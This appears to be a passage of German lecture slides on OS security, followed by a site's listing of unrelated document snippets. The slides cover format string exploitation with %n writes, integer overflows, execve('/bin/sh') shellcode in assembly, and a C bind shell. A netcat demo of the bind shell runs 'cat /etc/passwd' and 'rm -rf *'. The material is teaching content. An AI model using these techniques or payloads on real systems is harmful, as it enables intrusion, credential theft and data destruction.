78 Auslesen mittels fmt_vuln 78 / 109 $./fmt_vuln printf "\x89\xfd\xff\xbf" %x%x%x%x:%s: The right way: ýÿ %x%x%x%x:%s: The wrong way: ýÿ bffff3f4b7ff3de7b80016a4bffff810:path=/usr/local/bin: /usr/bin:/bin:/usr/bin/x11:/usr/games:~/bin:/opt/uclinux /bfin-elf/bin/:/opt/uclinux/bfin-uclinux/bin:/opt/uclinu x/bfin-linux-uclibc/bin:

79 Beschreiben beliebiger Adressen 79 / 109 Idee: gleiche Technik wie beim Auslesen, jedoch Beschreiben mittels %n -Platzhalter: $./fmt_vuln printf "\x94\x97\x04\x08" %x.%x.%x.%x%n The right way: x.%x.%x.%x%n The wrong way: bffff3e4.b7ff3de7.b80016a4.bffff800 [*] 0x = 39 0x Problem: geschriebener Wert hängt von Anzahl ausgegebener Zeichen ab Idee: Beeinflussung mittels Feldbreite-Option

80 Schreiben beliebiger Werte fmtstring-ex2.c #include <stdio.h> int main(void) { unsigned char canary[5]; unsigned char foo[4]; memset(foo, \x00, sizeof(foo)); /* 0 before */ strcpy(canary, "AAAA"); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); /* 1 */ printf("%16u%n", 7350, (int*) &foo[0]); /* 2 */ printf("%32u%n", 7350, (int*) &foo[1]); /* 3 */ printf("%64u%n", 7350, (int*) &foo[2]); /* 4 */ printf("%128u%n", 7350, (int*) &foo[3]); /* 5 after */ printf("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); 80 / 109

81 Ablauf der Schreibzugriffe beim Schreiben beliebiger Werte 81 / 109 foo canary [0] [1] [2] [3] [0] [1] [2] [3] [4] /* 0 */ 0x00 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00 /* 1 */ 0x10 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00 /* 2 */ 0x10 0x20 0x00 0x00 0x00 0x41 0x41 0x41 0x00 /* 3 */ 0x10 0x20 0x40 0x00 0x00 0x00 0x41 0x41 0x00 /* 4 */ 0x10 0x20 0x40 0x80 0x00 0x00 0x00 0x41 0x00

82 82 / 109 Anmerkungen 1 Byte pro printf()-aufruf geschrieben unmittelbar davor befindliche 3 Bytes werden mit dieser Technik überschrieben (hier: Variable canary) Voraussetzung: unausgerichteter Schreibzugriff möglich in ein- und demselben Formatstring können offenbar nur aufsteigende Werte geschrieben werden (warum?)

83 Schreiben beliebiger Werte in einem Formatstring fmtstring-ex3.c 83 / 109 #include <stdio.h> int main(void) { unsigned char canary[5]; unsigned char foo[4]; memset(foo, \x00, sizeof(foo)); /* 0 before */ strcpy(canary, "AAAA"); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); /* 1-4 in one string */ printf("%16u%n%16u%n%32u%n%64u%n", 1, (int*) &foo[0], 1, (int*) &foo[1], 1, (int*) &foo[2], 1, (int*) &foo[3]); /* 5 after */ printf("\nfoo: %02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); return 0; }

84 84 / 109 Schreiben ohne Monotonie Subtraktion bei %n-platzhalter unmöglich Wert wrappt jedoch um (Byte) für das vorige Beispiel also printf("%128u%n%192u%n%224u%n%240u%n", 1, (int*) & foo[0], 1, (int*) &foo[1], 1, (int*) &foo[2], 1, (int*) & foo[3]);, um 0x in die Variable foo zu schreiben

85 Schreiben ohne Monotonie, Beispiel 2 85 / 109 $./fmt_vuln printf "\x94\x97\x04\x08junk\x95\x97\x04\x08 JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08" %x%x%x%169x%n%23 9x%n%239x%n%239x%n The right way: JUNJUNJUN%x%x%x%169x%n%239x%n%239x%n%239x%n The wrong way: JUNJUNJUNbffff3b4b7ff3de7b80016a4 [*] 0x = xaabbccdd

86 86 / 109 Verwundbares Programm, die zweite fmtstring-ex1.c #include <stdio.h> int main(void) { char outbuf[512]; char buffer[512]; sprintf (buffer, "ERR Wrong command: %400s", user); sprintf (outbuf, buffer); return 0; } durch Nutzung von % -Platzhaltern in user kann outbuf zum Überlauf gebracht werden Beispiel: user = "%200d<nops><shellcode>" buffer = ERR Wrong Command:... %200d<nops><shellcode> klassischer Buffer Overflow möglich

87 87 / 109 Verwundbares Programm, die zweite fmtstring-ex1.c #include <stdio.h> int main(void) { char outbuf[512]; char buffer[512]; sprintf (buffer, "ERR Wrong command: %400s", user); sprintf (outbuf, buffer); return 0; } durch Nutzung von % -Platzhaltern in user kann outbuf zum Überlauf gebracht werden Beispiel: user = "%200d<nops><shellcode>" buffer = ERR Wrong Command:... %200d<nops><shellcode> klassischer Buffer Overflow möglich

88 88 / 109 Gegenmaßnahmen gegen Formatstring-Angriff Niemals nutzergenerierte Zeichenketten als Formatstring interpretieren! GCC kennt (neuerdings) verschiedene Schalter, die potentiell gefährliche printf()-aufrufe entdecken: gcc -Wformat -Wformat-security fmt_vuln.c fmt_vuln.c: In function main : fmt_vuln.c:22: warning: format not a string literal and no format arguments fmt_vuln.c:26: warning: format %08x expects type unsigned int, but argument 2 has type int *

89 89 / 109 Formatstring-Angriffe Zusammenfassung Ziel: printf()-familie Angriffsidee: Manipulation des Formatstring (Anzahl und Art der Platzhalter) Formen des Angriffs: Provokation eines Absturzes (DoS) Ausspähen des Hauptspeichers gezielte Schreibzugriffe mittels %n -Platzhalter Im Gegensatz zum Buffer Overflow kann mittels Formatstring-Attacke eine beliebige Adresse manipuliert werden! Erster publizierter Angriff:

90 90 / 109 Leseempfehlungen Jon Erickson. Hacking: The Art of Exploitation. 2. Aufl. No Starch Press, 2008 Solar Designer. Getting around non-executable stack (and fix). Mail to BugTraq Mailinglist. Aug scut/team teso. Exploiting Format String Vulnerabilities. Sep gera and riq. Advances in format string exploitation. In: Phrack (Juli 2002). URL: http: //

91 91 / 109 Heap-Overflow Idee: Manipulation von auf dem Heap angelegten Variablen durch das Überfluten eines unmittelbar davor gelegenen Puffers keine Rückkehradresse implizite Manipulation des Programmflusses unmöglich Reihenfolge der Adressen abhängig von Allokationsreihenfolge Exploit weniger regulär (abhängig vom Typ der manipulierten Information)

92 92 / 109 Integer-Overflow Idee: Überlauf des Zahlenbereichs von Integervariablen führt zu negativen Zahlen, die in Vergleichsoperationen und als Funktionsargumente unterschiedlich interpretiert werden. kein Schadcode ausführbar Ziel: DoS Literatur: blexim. Basic Integer Overflows. In: Phrack (Dez. 2002). URL: http: //

93 93 / 109 Integer-Overflow Beispiel int copybuffer (char *buffer, int len) { char mybuffer[800]; if (len > sizeof(mybuffer)) { return -1; } return memcpy(mybuffer, buffer, len); } Analyse: Typisches Beispiel eines Vorzeichen-Bugs memcpy erwartet unsigned int als 3. Parameter negatives len durch Test nicht erkannt wird als (sehr große) Längenangabe interpretiert Überlauf von mybuffer

94 Angriffscode 94 / 109

95 95 / 109 Shellcode Motivation The best way to develop your skill in detecting and securing against shellcode is to first master the art of writing it. (Foster, S. 56) Literatur: James C. Foster u. a. Buffer Overflow Attacks. Syngress, Feb. 2005, Chapter 3 Chris Anley u. a. The Shellcoder s Handbook. 2. Aufl. Wiley, Aug smiler. The Art of Writing Shellcode. o. J.

96 96 / 109 Shellcode Merkmale = Code, der in ein Programm (nachträglich und illegal) eingefügt und ausgeführt wird Angriffscode für verschiedene Attacken in Assembler programmiert (Warum?) sehr klein (Size matters!) effizient sehr system- und architekturspezifisch Einsatz von Systemrufen oder libc-funktionen keine Fehlerprüfung: entweder es geht oder nicht (hier: Beschränkung auf IA32 unter Linux ; die Prinzipien unter Windows differieren teilweise erheblich, vgl. Anley at al)

97 97 / 109 Systemruf BS bietet dem Programmierer Funktionen, diese werden über Systemrufe zur Verfügung gestellt Gesamtheit aller Systemrufe eines BS ist dessen Application Programmer s Interface (API) Nutzung analog den Funktionen einer Bibliothek mit einem Unterschied: Diensterbringung erfolgt im Kernel Mode gewöhnlicher Funktionsaufruf als Mechanismus unbrauchbar! Systemrufe können blockieren! Beispiele: fork(), read(), mmap(), semget()

98 98 / 109 Prinzip eines Systemrufs User Mode Kernel Mode Applikation Betriebssystem Systemruf System dienst

99 99 / 109 Prinzipieller Ablauf beim Systemruf read() count = read(fd, buffer, nbytes); user space 5 return to caller TRAP into kernel put # for read in register library call adjust stack call read push fd push &buffer 9 user program 1 push nbytes kernel space dispatch syscall 7 8 syscall handler

100 Ablauf von WriteFile() in Windows 2000/XP/Vista Win32 application Call WriteFile(...) WriteFile() in KERNEL32.DLL Call NtWriteFile() Return to Caller Win32 specific NtWriteFile() in NTDLL.DLL int 0x2e Return to Caller Used by all subsystems User Mode Software Interrupt Kernel Mode SystemService in NTOSKRNL.EXE Call NtWriteFile() Dismiss Interrupt NtWriteFile() in NTOSKRNL.EXE Do the Operation Return to Caller (David Solomon: Inside Windows 2000, Microsoft Press) 100 / 109

101 101 / 109 Was geschieht bei einem Linux-Systemruf? Architektur: IA32 (aka Intel-PC) Systemrufnummer in EAX Argumente in EBX, ECX, EDX, ESI, EDI, EBP (in dieser Reihenfolge) Systemeintritt durch int 0x80 (Systemdienst wird im Kernelmode ausgeführt) Resultatwert in EAX Systemaustritt mittels iret Systemrufnummern:

102 Beispiel 102 / 109 robge@hadrian:~$ cat exit.c #include <stdlib.h> int main(void) { exit(0); } robge@hadrian:~$ gcc -static -o exit exit.c robge@hadrian:~$ objdump -d exit db7c <_exit>: 804db7c: 8b 5c mov 0x4(%esp),%ebx 804db80: b8 fc mov $0xfc,%eax 804db85: cd 80 int $0x80 804db87: b mov $0x1,%eax 804db8c: cd 80 int $0x80 804db8e: f4 hlt 804db8f: 90 nop...

103 Hello, world! als Shellcode 103 / 109 _start: code: string:.text.global _start xorl %eax, %eax xorl %ebx, %ebx xorl %edx, %edx jmp string /* push string addr */ pop %ecx /* ecx <-- string addr */ movb $01, %bl /* filedesc, stdout */ movb $15, %dl /* string lgth */ movb $04, %al /* write(stdout, addr, lgth) */ int $0x80 decb %bl movb $01,%al /* exit(0) */ int $0x80 call code.ascii "Hello, world!\x0a\x00"

104 104 / 109 Beispiel: Aufruf einer Shell Klassiker, tausende Varianten nutzen typischerweise execve in folgender Manier: # i n c l u d e < s t d i o. h> i n t main ( void ) { char cmd = "/bin/sh" ; char args [ 2 ] ; args [ 0 ] = "robixd" ; args [ 1 ] = NULL ; } execve (cmd, args, NULL) ;

105 Aufruf einer Shell Nachbau in Assembler 105 / 109 _start: doit: callit:.text.global _start jmp callit popl %ebx /*1* ebx <-- &"/bin/sh" */ xorl %eax, %eax /* eax <-- 0 */ cdq /* edx:eax <-- eax */ movb %al, 7(%ebx) /*2* zeroterminate "/bin/sh" */ movl %ebx, 8(%ebx) /*3* args[0] = &"/bin/sh" */ movl %eax, 12(%ebx) /*4* args[1] = NULL */ leal 8(%ebx),%ecx /*5* ecx <-- &args */ movb $0x0b, %al /* execve() */ int $0x80 call doit.ascii "/bin/sh"

106 Bindung der Shell an einen Port Implementierung in C # i n c l u d e < n e t i n e t / i n. h> i n t soc, c l i ; s t r u c t sockaddr_in serv_addr ; i n t main ( ) { serv_addr. s i n _ f a m i l y =2; serv_ addr. sin_ addr. s_addr =0; serv_addr. s i n _ p o r t =0xAAAA ; } soc=socket ( 2, 1, 0 ) ; bind ( soc, ( s t r u c t sockaddr )&serv_addr,0 x10 ) ; l i s t e n ( soc, 1 ) ; c l i =accept ( soc, 0, 0 ) ; dup2 ( c l i, 0 ) ; dup2 ( c l i, 1 ) ; dup2 ( c l i, 2 ) ; execve ( "/bin/sh", 0, 0) ; 106 / 109

107 107 / 109 Anwendungsbeispiel für Bindshell robge@idir:~$ nc cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh... rm -rf *... exit dup2() ersetzt die stdin, stdout und stderr mit cli Achtung! Das ist eine Backdoor. Syscall-Folge: socket() bind() listen() accept() dup2() (3x) execve() benötigt < 100 Bytes in Assembler (!)

108 108 / 109 Weiterführende Aspekte Reverse Connection Shellcode angegriffener Rechner initiiert Verbindung Socket Reusing Erraten des Filedeskriptors eines bereits im angegriffenen Programm eröffneten Sockets und Nutzung desselben Shellcode, der toupper() oder tolower() unbeschadet übersteht Windows-Shellcode Encoding Shellcode Shellcode für mehrere Systeme (z. B. Linux und *BSD)

109 109 / 109 Was haben wir gelernt? Grundbegriffe der BS-Sicherheit (sichere) Implementierung von Authentifizierungsmechanismen Buffer Overflow und Gegenmaßnahmen: Stackguard, Stackshield, W X, ASLR Return-into-Libc-Exploit Format-String-Attacken Was ist eine Bindshell? Fazit: Das ist erst der Anfang der Thematik!

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung)

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung) Buffer Overflow 1c) 1 char passok='f'; 2 char password[8]; 3 printf( Passwort: ); 4 gets(password); 5 if(!strcmp(password, daspassw )){passok = 'T';} 6 if(passok=='t'){printf( %s, Willkommen! );} 7 else

Mehr

How to install freesshd

How to install freesshd Enthaltene Funktionen - Installation - Benutzer anlegen - Verbindung testen How to install freesshd 1. Installation von freesshd - Falls noch nicht vorhanden, können Sie das Freeware Programm unter folgendem

Mehr

U23 - Shellcode. Twix Chaos Computer Club Cologne. Motivation Einstieg Der erste Shellcode Nullbytes, NOP Slides

U23 - Shellcode. Twix Chaos Computer Club Cologne.  Motivation Einstieg Der erste Shellcode Nullbytes, NOP Slides Twix e.v. http://koeln.ccc.de 2016-11-28 Überblick 1 Motivation Was ist Shellcode? Beispiel 2 Einstieg Erzeugen, Testen von Shellcode 3 Der erste Shellcode Strings in Shellcode 4 Nullbytes, NOP Slides

Mehr

Vorlesung Informationssicherheit

Vorlesung Informationssicherheit 1 / 84 Vorlesung Informationssicherheit Thema 5: Bösartige Software Robert Baumgartl 24. Juni 2015 Überblick Bösartige Software Wirtsprogramm nötig unabhängig Hintertüren Logische Bomben Viren Würmer Trojanische

Mehr

OP-LOG www.op-log.de

OP-LOG www.op-log.de Verwendung von Microsoft SQL Server, Seite 1/18 OP-LOG www.op-log.de Anleitung: Verwendung von Microsoft SQL Server 2005 Stand Mai 2010 1 Ich-lese-keine-Anleitungen 'Verwendung von Microsoft SQL Server

Mehr

Betriebssysteme Hinweise zu Aufgabe 3 Knacken von Passwörtern

Betriebssysteme Hinweise zu Aufgabe 3 Knacken von Passwörtern Betriebssysteme Hinweise zu Aufgabe 3 Knacken von Passwörtern 24.10.13 1 Organisation bei UNIX/LINUX I 1. Die ersten 8 Zeichen vom Passwort werden als 7-bit-Werte zu einem 56-bit-Schlüssel zusammengesetzt.

Mehr

Gibt Daten im erweiterten Format aus. Dies beinhaltet die Angabe von Zugriffsrechten, Besitzer, Länge, Zeitpunkt der letzten Änderung und mehr.

Gibt Daten im erweiterten Format aus. Dies beinhaltet die Angabe von Zugriffsrechten, Besitzer, Länge, Zeitpunkt der letzten Änderung und mehr. ls [optionen] [namen]: ls zeigt den Inhalt von Verzeichnissen. Sind keine namen angegeben, werden die Dateien im aktuellen Verzeichnis aufgelistet. Sind eine oder mehrere namen angegeben, werden entweder

Mehr

Überblick. Grundbegriffe

Überblick. Grundbegriffe Überblick Vorlesung Betriebssysteme II Thema 7: Betriebssysteme-Sicherheit Robert Baumgartl 18. Mai 2015 Grundbegriffe Bösartige Software Authentifizierungsmechanismen Angriffstechniken: Buffer Overflow

Mehr

Verschlüsselung mit PGP. Teil 1: Installation

Verschlüsselung mit PGP. Teil 1: Installation Verschlüsselung mit PGP Teil 1: Installation Burkhard Messer FHTW Berlin FB 4 Wirtschaftsinformatik Verschlüsselung mit PGP - Teil 1/Installation 04.04.2006 1 Version Es steht das mehr oder weniger freie

Mehr

Netzwerksicherheit Musterlösung Übungsblatt 4: Viren

Netzwerksicherheit Musterlösung Übungsblatt 4: Viren Institut für Informatik Alina Barendt und Philipp Hagemeister Netzwerksicherheit Musterlösung Übungsblatt 4: Viren 1 Vorbereitung msg db "Virus" mov ah, 40h mov bx, 1 mov cx, $5 mov dx, msg int 21h ; Write

Mehr

Albert HAYR Linux, IT and Open Source Expert and Solution Architect. Open Source professionell einsetzen

Albert HAYR Linux, IT and Open Source Expert and Solution Architect. Open Source professionell einsetzen Open Source professionell einsetzen 1 Mein Background Ich bin überzeugt von Open Source. Ich verwende fast nur Open Source privat und beruflich. Ich arbeite seit mehr als 10 Jahren mit Linux und Open Source.

Mehr

SSH Authentifizierung über Public Key

SSH Authentifizierung über Public Key SSH Authentifizierung über Public Key Diese Dokumentation beschreibt die Vorgehensweise, wie man den Zugang zu einem SSH Server mit der Authentifizierung über öffentliche Schlüssel realisiert. Wer einen

Mehr

1 Vom Problem zum Programm

1 Vom Problem zum Programm Hintergrundinformationen zur Vorlesung GRUNDLAGEN DER INFORMATIK I Studiengang Elektrotechnik WS 02/03 AG Betriebssysteme FB3 Kirsten Berkenkötter 1 Vom Problem zum Programm Aufgabenstellung analysieren

Mehr

Sicherheit von PDF-Dateien

Sicherheit von PDF-Dateien Sicherheit von PDF-Dateien 1 Berechtigungen/Nutzungsbeschränkungen zum Drucken Kopieren und Ändern von Inhalt bzw. des Dokumentes Auswählen von Text/Grafik Hinzufügen/Ändern von Anmerkungen und Formularfeldern

Mehr

Konfigurationsanleitung Access Control Lists (ACL) Funkwerk. Copyright Stefan Dahler - www.neo-one.de 13. Oktober 2008 Version 1.0.

Konfigurationsanleitung Access Control Lists (ACL) Funkwerk. Copyright Stefan Dahler - www.neo-one.de 13. Oktober 2008 Version 1.0. Konfigurationsanleitung Access Control Lists (ACL) Funkwerk Copyright Stefan Dahler - www.neo-one.de 13. Oktober 2008 Version 1.0 Seite - 1 - 1. Konfiguration der Access Listen 1.1 Einleitung Im Folgenden

Mehr

Karlsruher Institut für Technologie

Karlsruher Institut für Technologie Karlsruher Institut für Technologie Lehrstuhl für Programmierparadigmen Sprachtechnologie und Compiler WS 2010/2011 Dozent: Prof. Dr.-Ing. G. Snelting Übungsleiter: Matthias Braun Lösung zu Übungsblatt

Mehr

IT-Sicherheit IAIK 1

IT-Sicherheit IAIK 1 IT-Sicherheit IAIK 1 Motivation Rechner enthalten Informationen Informationen haben Wert Manche Firmen: gesamter Wert in elektronischer Form Aufgabe von Betriebssystemen: Information vor unautorisierter

Mehr

Powermanager Server- Client- Installation

Powermanager Server- Client- Installation Client A Server Client B Die Server- Client- Funktion ermöglicht es ein zentrales Powermanager Projekt von verschiedenen Client Rechnern aus zu bedienen. 1.0 Benötigte Voraussetzungen 1.1 Sowohl am Server

Mehr

Sicherheit in Software

Sicherheit in Software Sicherheit in Software Fabian Cordt und Friedrich Eder 3. Juni 2011 Allgemeines Begriffserklärung Woher Die 19 Todsünden 1 - Teil 2 - Teil 3 - Teil Was kann passieren Probleme beim Porgramm Durch Lücken

Mehr

Daten am USB Stick mit TrueCrypt schützen

Daten am USB Stick mit TrueCrypt schützen Daten am USB Stick mit TrueCrypt schützen Das Programm installieren und einrichten ACHTUNG: In der nachfolgenden Anleitung wird der USB Stick immer mit USB-STICK (H:) angegeben! Diese Bezeichnung wurde

Mehr

The ToolChain.com. Grafisches Debugging mit der QtCreator Entwicklungsumgebung

The ToolChain.com. Grafisches Debugging mit der QtCreator Entwicklungsumgebung The ToolChain Grafisches Debugging mit der QtCreator Entwicklungsumgebung geschrieben von Gregor Rebel 2014-2015 Hintergrund Neben dem textuellen Debuggen in der Textkonsole bieten moderene Entwicklungsumgebungen

Mehr

MPI-Programmierung unter Windows mit MPICH2. Installieren von MPICH2, Übersetzen, Ausführen und Debuggen von MPI-Programmen. Christian Terboven

MPI-Programmierung unter Windows mit MPICH2. Installieren von MPICH2, Übersetzen, Ausführen und Debuggen von MPI-Programmen. Christian Terboven MPI-Programmierung unter Windows mit MPIH2 Installieren von MPIH2, Übersetzen, Ausführen und Debuggen von MPI-Programmen hristian Terboven Rechen- und Kommunikationszentrum RWTH Aachen 1 02/2007 luster-installationsworkshop

Mehr

In 12 Schritten zum mobilen PC mit Paragon Drive Copy 11 und Microsoft Windows Virtual PC

In 12 Schritten zum mobilen PC mit Paragon Drive Copy 11 und Microsoft Windows Virtual PC PARAGON Technologie GmbH, Systemprogrammierung Heinrich-von-Stephan-Str. 5c 79100 Freiburg, Germany Tel. +49 (0) 761 59018201 Fax +49 (0) 761 59018130 Internet www.paragon-software.com Email sales@paragon-software.com

Mehr

Lizenzen auschecken. Was ist zu tun?

Lizenzen auschecken. Was ist zu tun? Use case Lizenzen auschecken Ihr Unternehmen hat eine Netzwerk-Commuterlizenz mit beispielsweise 4 Lizenzen. Am Freitag wollen Sie Ihren Laptop mit nach Hause nehmen, um dort am Wochenende weiter zu arbeiten.

Mehr

PeDaS Personal Data Safe. - Bedienungsanleitung -

PeDaS Personal Data Safe. - Bedienungsanleitung - PeDaS Personal Data Safe - Bedienungsanleitung - PeDaS Bedienungsanleitung v1.0 1/12 OWITA GmbH 2008 1 Initialisierung einer neuen SmartCard Starten Sie die PeDaS-Anwendung, nachdem Sie eine neue noch

Mehr

Matrix42. Use Case - Sicherung und Rücksicherung persönlicher Einstellungen über Personal Backup. Version 1.0.0. 23. September 2015 - 1 -

Matrix42. Use Case - Sicherung und Rücksicherung persönlicher Einstellungen über Personal Backup. Version 1.0.0. 23. September 2015 - 1 - Matrix42 Use Case - Sicherung und Rücksicherung persönlicher Version 1.0.0 23. September 2015-1 - Inhaltsverzeichnis 1 Einleitung 3 1.1 Beschreibung 3 1.2 Vorbereitung 3 1.3 Ziel 3 2 Use Case 4-2 - 1 Einleitung

Mehr

Programmieren in C. Macros, Funktionen und modulare Programmstruktur. Prof. Dr. Nikolaus Wulff

Programmieren in C. Macros, Funktionen und modulare Programmstruktur. Prof. Dr. Nikolaus Wulff Programmieren in C Macros, Funktionen und modulare Programmstruktur Prof. Dr. Nikolaus Wulff Der C Präprozessor Vor einem Compile Lauf werden alle Präprozessor Kommandos/Makros ausgewertet. Diese sind

Mehr

Folgende Einstellungen sind notwendig, damit die Kommunikation zwischen Server und Client funktioniert:

Folgende Einstellungen sind notwendig, damit die Kommunikation zwischen Server und Client funktioniert: Firewall für Lexware professional konfigurieren Inhaltsverzeichnis: 1. Allgemein... 1 2. Einstellungen... 1 3. Windows XP SP2 und Windows 2003 Server SP1 Firewall...1 4. Bitdefender 9... 5 5. Norton Personal

Mehr

Lehrveranstaltung Grundlagen von Datenbanken

Lehrveranstaltung Grundlagen von Datenbanken Verbindungsanleitung mit der Datenbank Um sich mit der Datenbank für die Übung zu verbinden, gibt es mehrere Möglichkeiten. Zum einen ist die Datenbank aus dem Netz des Informatikums direkt erreichbar.

Mehr

Einführung in die Programmiersprache C

Einführung in die Programmiersprache C Einführung in die Programmiersprache C 10 Sicheres Programmieren Alexander Sczyrba Robert Homann Georg Sauthoff Universität Bielefeld, Technische Fakultät Literatur Klein, Buffer Overflows und Format-String-Schwachstellen.

Mehr

Folgende Voraussetzungen für die Konfiguration müssen erfüllt sein:

Folgende Voraussetzungen für die Konfiguration müssen erfüllt sein: 5. HTTP Proxy (Auth User / URL Liste / Datei Filter) 5.1 Einleitung Sie konfigurieren den HTTP Proxy, um die Webzugriffe ins Internet zu kontrollieren. Das Aufrufen von Webseiten ist nur authentifizierten

Mehr

Installation der SAS Foundation Software auf Windows

Installation der SAS Foundation Software auf Windows Installation der SAS Foundation Software auf Windows Der installierende Benutzer unter Windows muss Mitglied der lokalen Gruppe Administratoren / Administrators sein und damit das Recht besitzen, Software

Mehr

Folgende Voraussetzungen für die Konfiguration müssen erfüllt sein:

Folgende Voraussetzungen für die Konfiguration müssen erfüllt sein: 7. Intrusion Prevention System 7.1 Einleitung Sie konfigurieren das Intrusion Prevention System um das Netzwerk vor Angriffen zu schützen. Grundsätzlich soll nicht jeder TFTP Datenverkehr blockiert werden,

Mehr

Handbuch. timecard Connector 1.0.0. Version: 1.0.0. REINER SCT Kartengeräte GmbH & Co. KG Goethestr. 14 78120 Furtwangen

Handbuch. timecard Connector 1.0.0. Version: 1.0.0. REINER SCT Kartengeräte GmbH & Co. KG Goethestr. 14 78120 Furtwangen Handbuch timecard Connector 1.0.0 Version: 1.0.0 REINER SCT Kartengeräte GmbH & Co. KG Goethestr. 14 78120 Furtwangen Furtwangen, den 18.11.2011 Inhaltsverzeichnis Seite 1 Einführung... 3 2 Systemvoraussetzungen...

Mehr

4D Server v12 64-bit Version BETA VERSION

4D Server v12 64-bit Version BETA VERSION 4D Server v12 64-bit Version BETA VERSION 4D Server v12 unterstützt jetzt das Windows 64-bit Betriebssystem. Hauptvorteil der 64-bit Technologie ist die rundum verbesserte Performance der Anwendungen und

Mehr

Anleitung zur Einrichtung einer ODBC Verbindung zu den Übungsdatenbanken

Anleitung zur Einrichtung einer ODBC Verbindung zu den Übungsdatenbanken Betriebliche Datenverarbeitung Wirtschaftswissenschaften AnleitungzurEinrichtungeinerODBC VerbindungzudenÜbungsdatenbanken 0.Voraussetzung Diese Anleitung beschreibt das Vorgehen für alle gängigen Windows

Mehr

- Zweimal Wöchentlich - Windows Update ausführen - Live Update im Norton Antivirusprogramm ausführen

- Zweimal Wöchentlich - Windows Update ausführen - Live Update im Norton Antivirusprogramm ausführen walker radio tv + pc GmbH Flüelerstr. 42 6460 Altdorf Tel 041 870 55 77 Fax 041 870 55 83 E-Mail info@walkerpc.ch Wichtige Informationen Hier erhalten sie einige wichtige Informationen wie sie ihren Computer

Mehr

Informatik für Ökonomen II HS 09

Informatik für Ökonomen II HS 09 Informatik für Ökonomen II HS 09 Übung 5 Ausgabe: 03. Dezember 2009 Abgabe: 10. Dezember 2009 Die Lösungen zu den Aufgabe sind direkt auf das Blatt zu schreiben. Bitte verwenden Sie keinen Bleistift und

Mehr

:: Anleitung Hosting Server 1cloud.ch ::

:: Anleitung Hosting Server 1cloud.ch :: :: one source ag :: Technopark Luzern :: D4 Platz 4 :: CH-6039 Root-Längenbold LU :: :: Fon +41 41 451 01 11 :: Fax +41 41 451 01 09 :: info@one-source.ch :: www.one-source.ch :: :: Anleitung Hosting Server

Mehr

ANYWHERE Zugriff von externen Arbeitsplätzen

ANYWHERE Zugriff von externen Arbeitsplätzen ANYWHERE Zugriff von externen Arbeitsplätzen Inhaltsverzeichnis 1 Leistungsbeschreibung... 3 2 Integration Agenda ANYWHERE... 4 3 Highlights... 5 3.1 Sofort einsatzbereit ohne Installationsaufwand... 5

Mehr

Binäre Bäume. 1. Allgemeines. 2. Funktionsweise. 2.1 Eintragen

Binäre Bäume. 1. Allgemeines. 2. Funktionsweise. 2.1 Eintragen Binäre Bäume 1. Allgemeines Binäre Bäume werden grundsätzlich verwendet, um Zahlen der Größe nach, oder Wörter dem Alphabet nach zu sortieren. Dem einfacheren Verständnis zu Liebe werde ich mich hier besonders

Mehr

Fragen zur GridVis MSSQL-Server

Fragen zur GridVis MSSQL-Server Fragen zur GridVis MSSQL-Server Frage Anmerkung 1.0 Server allgemein 1.1 Welche Sprache benötigt die Software bzgl. Betriebssystem/SQL Server (deutsch/englisch)? 1.2 Welche MS SQL Server-Edition wird mindestens

Mehr

Webseiten im PHYSnet. PHYSnet-RZ 9. Mai 2011

Webseiten im PHYSnet. PHYSnet-RZ 9. Mai 2011 Webseiten im PHYSnet PHYSnet-RZ 9. Mai 2011 1 1 Umzug auf das AFS Die www-dateien sind vom Alpha-CLuster auf das AFS umgezogen. Anleitungen zum Zugriff auf das AFS finden Sie unter http://www.physnet.uni-hamburg.de/physnet/doku.htm.

Mehr

Betriebssystem Windows - SSH Secure Shell Client

Betriebssystem Windows - SSH Secure Shell Client Betriebssystem Windows - SSH Secure Shell Client Betriebssystem Windows - SSH Secure Shell Client... 1 Download... 2 Installation... 2 Funktionen... 3 Verbindung aufbauen... 3 Verbindung trennen... 4 Profile...

Mehr

Zählen von Objekten einer bestimmten Klasse

Zählen von Objekten einer bestimmten Klasse Zählen von Objekten einer bestimmten Klasse Ziel, Inhalt Zur Übung versuchen wir eine Klasse zu schreiben, mit der es möglich ist Objekte einer bestimmten Klasse zu zählen. Wir werden den ++ und den --

Mehr

Windows 7/8 - Backdoor

Windows 7/8 - Backdoor Wenn wir uns in einer peinlichen Situation befinden hätten wir doch gerne mal eine Hintertür parat um unbemerkt verschwinden zu können?! Aber bitte nicht in unserem Betriebssystem! Mittels eines Registry-Eintrags

Mehr

Installation Messerli MySQL auf Linux

Installation Messerli MySQL auf Linux Installation Messerli MySQL auf Linux Einleitung Grundsätzlich wird bei der Installation der Messerli Software auf einem Linux-Server wie folgt vorgegangen: 1. Angepasster RMI-MySQL Server wird auf Linux

Mehr

Handbuch PCI Treiber-Installation

Handbuch PCI Treiber-Installation Handbuch PCI Treiber-Installation W&T Release 1.0, September 2003 09/2003 by Wiesemann & Theis GmbH Microsoft und Windows sind eingetragene Warenzeichen der Microsoft Corporation Irrtum und Änderung vorbehalten:

Mehr

Programmierung in C. Grundlagen. Stefan Kallerhoff

Programmierung in C. Grundlagen. Stefan Kallerhoff Programmierung in C Grundlagen Stefan Kallerhoff Vorstellungsrunde Name Hobby/Beruf Schon mal was programmiert? Erwartungen an den Kurs Lieblingstier Für zu Hause C-Buch online: http://openbook.rheinwerk-verlag.de/c_von_a_bis_z/

Mehr

Verwendung des Mailservers

